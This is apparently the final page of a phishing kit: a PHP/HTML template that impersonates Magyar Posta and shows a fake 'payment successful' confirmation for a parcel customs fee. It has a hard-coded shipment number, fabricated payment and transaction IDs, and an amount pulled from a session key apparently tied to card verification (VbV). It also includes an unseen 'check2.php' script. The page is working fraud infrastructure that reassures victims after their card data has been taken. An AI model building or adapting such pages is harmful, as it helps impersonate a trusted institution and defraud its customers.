<?php
require_once dirname(__DIR__) . '/header.php';

$purchaseDefault = require dirname(__DIR__) . '/purchase_default.php';
$amountDisplay = htmlspecialchars(
    (string) ($_SESSION['vbv_amount_display'] ?? $purchaseDefault),
    ENT_QUOTES,
    'UTF-8'
);

$now = new DateTime('now', new DateTimeZone('Europe/Budapest'));
$dateDisplay = $now->format('d.m.Y');
$timeDisplay = $now->format('H:i');
$dateTimeDisplay = $dateDisplay . ' ' . $timeDisplay;

$shipmentId = 'LA991163219HU';
$paymentRef = 'MP-' . $now->format('Y') . '-' . substr(md5($shipmentId), 0, 6);
$trxId = 'TRX' . $now->format('Ymd') . substr(md5((string) ($_SESSION['ip'] ?? microtime(true))), 0, 4);
?>
<!DOCTYPE html>
<html lang="hu">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
  <title>Sikeres fizetés – Magyar Posta</title>
  <style>
    *, *::before, *::after { box-sizing: border-box; }
    html, body { margin: 0; padding: 0; min-height: 100%; }
    body {
      font-family: Arial, Helvetica, sans-serif;
      font-size: 14px;
      line-height: 1.35;
      color: #000;
      background: #f9f9f9;
      -webkit-font-smoothing: antialiased;
      display: flex;
      flex-direction: column;
      min-height: 100vh;
    }
    .mp-top { background: #f9f9f9; }
    .mp-top-inner {
      box-sizing: border-box;
      width: 1512.8px;
      max-width: 100%;
      height: 112px;
      margin: 0 auto;
      padding: 0 max(12px, calc((min(100vw, 1512.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: flex-start;
      gap: 28px;
      flex-wrap: nowrap;
    }
    .mp-logo { display: flex; align-items: center; text-decoration: none; color: inherit; flex-shrink: 0; }
    .mp-logo-img { display: block; }
    .mp-top .mp-logo-img { width: 128px; height: 64px; object-fit: contain; }
    .mp-nav-main { display: flex; flex-wrap: wrap; align-items: center; gap: 8px 20px; margin: 0; }
    .mp-nav-main a { font-size: 13px; color: #005c30; text-decoration: none; }
    .mp-nav-main a:hover { text-decoration: underline; }
    .mp-nav-util { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; margin-left: auto; flex-shrink: 0; }
    .mp-nav-util a { font-size: 13px; color: #333; text-decoration: none; }
    .mp-nav-util a:hover { text-decoration: underline; }
    .mp-search-ico { width: 20px; height: 20px; display: inline-block; vertical-align: middle; color: #333; margin-left: -4px; }
    .mp-crumb { background: #fff; border-bottom: 1px solid #ebebeb; }
    .mp-crumb-inner { max-width: 1180px; margin: 0 auto; padding: 10px 32px; font-size: 13px; }
    .mp-crumb a { color: #005c30; text-decoration: none; }
    .mp-crumb a:hover { text-decoration: underline; }
    .mp-crumb-sep { color: #999; margin: 0 6px; }
    .mp-crumb-current { color: #555; }
    .mp-page-wrap {
      flex: 1;
      max-width: 1180px;
      width: 100%;
      margin: 0 auto;
      padding: 32px 24px 48px;
    }
    .mp-success-shell {
      max-width: 640px;
      margin: 0 auto;
    }
    .mp-success-card {
      background: #fff;
      border: 1px solid #e0e0e0;
      border-radius: 10px;
      box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
      padding: 32px 28px 28px;
    }
    .mp-success-hero {
      text-align: center;
      margin-bottom: 28px;
      padding-bottom: 24px;
      border-bottom: 1px solid #e0e0e0;
    }
    .mp-success-badge {
      width: 72px;
      height: 72px;
      margin: 0 auto 16px;
      border-radius: 50%;
      background: #e8f5e9;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-success-badge img {
      width: 40px;
      height: 40px;
      object-fit: contain;
    }
    .mp-success-hero h1 {
      margin: 0 0 10px;
      font-size: 24px;
      font-weight: 700;
      color: #000;
    }
    .mp-success-text {
      margin: 0;
      font-size: 14px;
      color: #555;
      line-height: 1.55;
    }
    .mp-success-confirm-title {
      margin: 0 0 16px;
      font-size: 15px;
      font-weight: 700;
      color: #000;
    }
    .mp-success-grid {
      display: grid;
      gap: 0;
    }
    .mp-success-row {
      display: flex;
      justify-content: space-between;
      align-items: flex-start;
      gap: 16px;
      padding: 12px 0;
      border-bottom: 1px solid #f0f0f0;
      font-size: 14px;
    }
    .mp-success-row:last-child {
      border-bottom: none;
    }
    .mp-success-row .label {
      color: #555;
      font-weight: 600;
      flex-shrink: 0;
    }
    .mp-success-row .value {
      color: #000;
      text-align: right;
    }
    .mp-success-row .value--hl {
      color: #005c30;
      font-weight: 700;
    }
    .mp-success-divider {
      height: 1px;
      background: #e0e0e0;
      margin: 8px 0 4px;
    }
    .mp-success-actions {
      margin-top: 24px;
      text-align: center;
    }
    .mp-success-btn {
      display: inline-block;
      min-width: 220px;
      padding: 12px 24px;
      border: none;
      border-radius: 8px;
      background-color: #15252d;
      color: #fff;
      font-family: inherit;
      font-size: 15px;
      font-weight: 600;
      text-decoration: none;
      cursor: pointer;
    }
    .mp-success-btn:hover {
      background-color: #0f1e26;
      color: #fff;
    }
    .mp-success-note {
      margin: 16px 0 0;
      text-align: center;
      font-size: 13px;
      color: #9e9e9e;
      line-height: 1.5;
    }
    footer.mp-ft { width: 100%; margin: 0; padding: 0; display: block; }
    .mp-ft-links { background: #f8f8f8; padding: 42px 32px 48px; width: 100%; }
    .mp-ft-inner { max-width: 1180px; margin: 0 auto; }
    .mp-ft-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 28px 40px; }
    .mp-ft-col h4 { margin: 0 0 14px; font-size: 13px; font-weight: 700; color: #1a1a1a; }
    .mp-ft-col ul { margin: 0; padding: 0; list-style: none; }
    .mp-ft-col li { margin-bottom: 8px; }
    .mp-ft-col a { font-size: 13px; color: #005c30; text-decoration: underline; }
    .mp-ft-brand {
      width: 100%;
      height: 146px;
      background: #70c99a;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-brand-inner {
      width: 1513px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1513px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 24px;
    }
    .mp-ft-brand .mp-ft-logo-img { width: 128px; height: 64px; object-fit: contain; display: block; }
    .mp-ft-soc { display: flex; gap: 12px; }
    .mp-ft-soc-btn {
      width: 40px;
      height: 40px;
      background: #fff;
      border-radius: 6px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #1a1a1a;
      text-decoration: none;
    }
    .mp-ft-soc-btn svg { width: 20px; height: 20px; }
    .mp-ft-legal {
      background: #1a1a1a;
      height: 60px;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-legal .mp-ft-legal-inner {
      width: 1520.8px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1520.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      color: #fff;
      font-size: 12px;
    }
    .mp-ft-legal-inner span { font-size: 14px; }
    .mp-ft-legal-inner a { color: #fff; text-decoration: underline; }
    @media (max-width: 900px) {
      .mp-ft-grid { grid-template-columns: repeat(2, 1fr); }
    }
    @media (max-width: 640px) {
      .mp-page-wrap { padding: 24px 16px 32px; }
      .mp-success-card { padding: 24px 18px; }
      .mp-success-hero h1 { font-size: 20px; }
      .mp-top-inner { padding: 14px 16px; height: auto; min-height: 112px; flex-wrap: wrap; }
      .mp-nav-main { width: 100%; }
      .mp-ft-grid { grid-template-columns: 1fr; }
      .mp-ft-links { padding: 36px 20px 40px; }
      .mp-ft-brand { height: auto; min-height: 146px; padding: 18px 0; }
      .mp-ft-brand-inner { flex-wrap: wrap; padding: 0 20px; }
      .mp-ft-legal { height: auto; min-height: 60px; padding: 12px 0; }
      .mp-ft-legal .mp-ft-legal-inner { flex-wrap: wrap; justify-content: center; text-align: center; padding: 0 20px; }
    }
  </style>
</head>
<body>

  <header class="mp-top">
    <div class="mp-top-inner">
      <a href="#" class="mp-logo">
        <img class="mp-logo-img" src="../alert/logo.svg" width="128" height="64" alt="Magyar Posta">
      </a>
      <nav class="mp-nav-main" aria-label="Fő navigáció">
        <a href="#">Magánszemélyek</a>
        <a href="#">Üzleti partnerek</a>
        <a href="#">Karrier</a>
        <a href="#">Kapcsolat</a>
        <a href="#">ÉnPostám</a>
      </nav>
      <div class="mp-nav-util">
        <a href="#">Bejelentkezés</a>
        <a href="#">Kosár</a>
        <a href="#" aria-label="Keresés">
          <svg class="mp-search-ico" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="10" cy="10" r="7"/><path d="M15 15l7 7"/></svg>
        </a>
      </div>
    </div>
  </header>

  <div class="mp-crumb">
    <div class="mp-crumb-inner">
      <a href="#">Nyitó</a><span class="mp-crumb-sep">&gt;</span>
      <a href="../alert/">Nyomkövetés</a><span class="mp-crumb-sep">&gt;</span>
      <span class="mp-crumb-current">Sikeres fizetés</span>
    </div>
  </div>

  <main class="mp-page-wrap">
    <div class="mp-success-shell">
      <article class="mp-success-card">
        <div class="mp-success-hero">
          <div class="mp-success-badge">
            <img src="../../assets/img/img_30312731.svg" alt="" width="40" height="40">
          </div>
          <h1>Sikeres fizetés</h1>
          <p class="mp-success-text" id="success-text">
            A vámdíj befizetése sikeresen megtörtént <?php echo htmlspecialchars($dateTimeDisplay, ENT_QUOTES, 'UTF-8'); ?> időpontban.<br>
            Köszönjük, hogy a Magyar Posta online szolgáltatását használta.
          </p>
        </div>

        <h2 class="mp-success-confirm-title">Fizetési visszaigazolás</h2>
        <div class="mp-success-grid">
          <div class="mp-success-row">
            <span class="label">Küldeményazonosító</span>
            <span class="value"><?php echo htmlspecialchars($shipmentId, ENT_QUOTES, 'UTF-8'); ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Befizetés azonosító</span>
            <span class="value"><?php echo htmlspecialchars($paymentRef, ENT_QUOTES, 'UTF-8'); ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Fizetendő összeg</span>
            <span class="value value--hl"><?php echo $amountDisplay; ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Fizetés dátuma</span>
            <span class="value" id="pay-date"><?php echo htmlspecialchars($dateDisplay, ENT_QUOTES, 'UTF-8'); ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Fizetés időpontja</span>
            <span class="value" id="pay-time"><?php echo htmlspecialchars($timeDisplay, ENT_QUOTES, 'UTF-8'); ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Fizetési mód</span>
            <span class="value">Bankkártya</span>
          </div>
        </div>

        <div class="mp-success-divider"></div>

        <div class="mp-success-grid">
          <div class="mp-success-row">
            <span class="label">Tranzakció azonosító</span>
            <span class="value"><?php echo htmlspecialchars($trxId, ENT_QUOTES, 'UTF-8'); ?></span>
          </div>
          <div class="mp-success-row">
            <span class="label">Állapot</span>
            <span class="value value--hl">Sikeres</span>
          </div>
        </div>

        <div class="mp-success-actions">
          <a class="mp-success-btn" href="../alert/">Vissza a nyomkövetéshez</a>
        </div>
        <p class="mp-success-note">A visszaigazolást e-mailben is elküldtük az Ön részére (ha beállította az értesítéseket).</p>
      </article>
    </div>
  </main>

  <footer class="mp-ft" role="contentinfo">
    <div class="mp-ft-links">
      <div class="mp-ft-inner mp-ft-grid">
        <div class="mp-ft-col">
          <h4>AKCIÓK</h4>
          <ul>
            <li><a href="#">Biztosítási akciók</a></li>
            <li><a href="#">MBH Bank akciók</a></li>
            <li><a href="#">Lejárt akciók</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>HASZNOS</h4>
          <ul>
            <li><a href="#">Általános Szerződési Feltételek</a></li>
            <li><a href="#">Hirdetmények</a></li>
            <li><a href="#">Díjszabások</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>INFORMÁCIÓ</h4>
          <ul>
            <li><a href="#">A Magyar Postáról</a></li>
            <li><a href="#">Adatkezelési tájékoztató</a></li>
            <li><a href="#">Karrier</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>KAPCSOLAT</h4>
          <ul>
            <li><a href="#">Sajtó</a></li>
            <li><a href="#">Ügyfélszolgálat</a></li>
            <li><a href="#">E-ügyintézés</a></li>
          </ul>
        </div>
      </div>
    </div>
    <div class="mp-ft-brand">
      <div class="mp-ft-brand-inner">
        <a href="#" class="mp-ft-brand-logo-link">
          <img class="mp-ft-logo-img" src="../alert/posta.svg" width="128" height="64" alt="Magyar Posta">
        </a>
        <div class="mp-ft-soc">
          <a href="#" class="mp-ft-soc-btn" aria-label="Instagram"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.65"><rect x="3" y="3" width="18" height="18" rx="4"/><circle cx="12" cy="12" r="3.35"/></svg></a>
          <a href="#" class="mp-ft-soc-btn" aria-label="Facebook"><svg viewBox="0 0 24 24" fill="currentColor"><path d="M13.5 22v-8.34h2.79l.42-3.24H13.5V8.74c0-.94.26-1.58 1.61-1.58h1.71V4.09A21.93 21.93 0 0014.23 4c-2.51 0-4.23 1.53-4.23 4.35v3.06H7v3.24h2.98V22h3.52z"/></svg></a>
        </div>
      </div>
    </div>
    <div class="mp-ft-legal">
      <div class="mp-ft-inner mp-ft-legal-inner">
        <span>&copy; 2026 Magyar Posta Zrt. Minden jog fenntartva!</span>
        <a href="#">Közadatok</a>
      </div>
    </div>
  </footer>

  <script>
    document.addEventListener('DOMContentLoaded', function () {
      var dateField = document.getElementById('pay-date');
      var timeField = document.getElementById('pay-time');
      var successText = document.getElementById('success-text');
      var now = new Date();

      var huTime = new Intl.DateTimeFormat('hu-HU', {
        timeZone: 'Europe/Budapest',
        hour: '2-digit',
        minute: '2-digit',
        hour12: false
      }).format(now);

      var huDate = new Intl.DateTimeFormat('hu-HU', {
        timeZone: 'Europe/Budapest',
        year: 'numeric',
        month: '2-digit',
        day: '2-digit'
      }).format(now);

      var parts = huDate.replace(/\s/g, '').split('.');
      var formattedDate = parts.length >= 3 ? parts[0] + '.' + parts[1] + '.' + parts[2] : huDate;

      if (dateField) dateField.textContent = formattedDate;
      if (timeField) timeField.textContent = huTime;
      if (successText) {
        successText.innerHTML =
          'A vámdíj befizetése sikeresen megtörtént ' + formattedDate + ' ' + huTime + ' időpontban.<br>' +
          'Köszönjük, hogy a Magyar Posta online szolgáltatását használta.';
      }
    });
  </script>
  <?php include('../../assets/js/check2.php'); ?>
</body>
</html>
